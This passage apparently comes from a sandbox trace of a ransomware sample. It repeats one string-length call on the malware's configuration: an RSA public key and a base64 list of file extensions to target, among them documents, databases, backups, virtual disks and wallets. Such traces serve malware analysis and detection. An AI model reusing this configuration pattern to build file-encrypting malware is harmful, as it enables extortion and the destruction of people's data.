iwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4